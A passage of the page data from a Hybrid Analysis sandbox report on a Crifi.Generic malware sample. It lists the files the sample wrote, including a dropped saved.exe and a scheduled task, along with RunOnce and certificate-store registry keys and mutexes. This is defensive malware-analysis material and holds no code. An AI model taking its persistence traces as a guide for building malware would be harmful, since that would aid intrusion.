dbox","report_id":"68120d9e551103e90f089285"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"path":"%WINDIR%\\Tasks\\saved.job","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"path":"%TEMP%\\c13dbdc4fa\\saved.exe","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_1kgnjpiq.0q1.ps1","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_ix2fdbqw.ohr.psm1","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_di3ut32l.amm.ps1","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_1myeetgm.fvu.psm1","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\\","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\THEMES\\PERSONALIZE\\","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\AUTHROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUSTEDPEOPLE\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUSTEDPEOPLE\\","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUSTEDPEOPLE\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\TRUSTEDPEOPLE\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\\WEXTRACT_CLEANUP0\\WEXTRACT_CLEANUP0","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\\WEXTRACT_CLEANUP1\\WEXTRACT_CLEANUP1","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]}]},"mutex_activity":{"mutex_created":[{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"Local\\SM0:1224:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"Local\\SM0:1224:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"SM0:1224:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"Local\\SM0:1812:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"Local\\SessionImmersiveColorMutex","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"Local\\SM0:1812:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"c1ec479e5342a25940592acf24703eb2","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"SM0:1812:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"DBWinMutex","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"SM0:4460:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"Local\\SM0:4460:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"SM0:4460:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"Local\\SM0:7072:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"SM0:7072:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"SM0:7072:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4572:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"SM0:4572:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4460:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4460:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"\\BaseNamedObjects\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4460:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7072:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7072:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7072:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8744:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"SM0:8744:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"Local\\SM0:8744:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8744:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4104:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"SM0:4104:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"Local\\SM0:4104:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4104:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]}]}},"report_ids":{"sandbox_job_ids":["68120d9e551103e90f089285"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Crifi.Generic Sample abc0064210d2… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample abc0064210d2…. Malware family: Crifi.Generic. Threat score 100/100. 11/24 AV engines flagged this file. 9 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2"}],["$","meta","4",{"property":"og:title","content":"Malicious Crifi.Generic Sample abc0064210d2… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample abc0064210d2…. Malware family: Crifi.Generic. Threat score 100/100. 11/24 AV engines flagged this file. 9 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Crifi.Generic Sample abc0064210d2… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample abc0064210d2…. Malware family: Crifi.Generic. Threat score 100/100. 11/24 AV engines flagged this file. 9 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L87","11",{}]]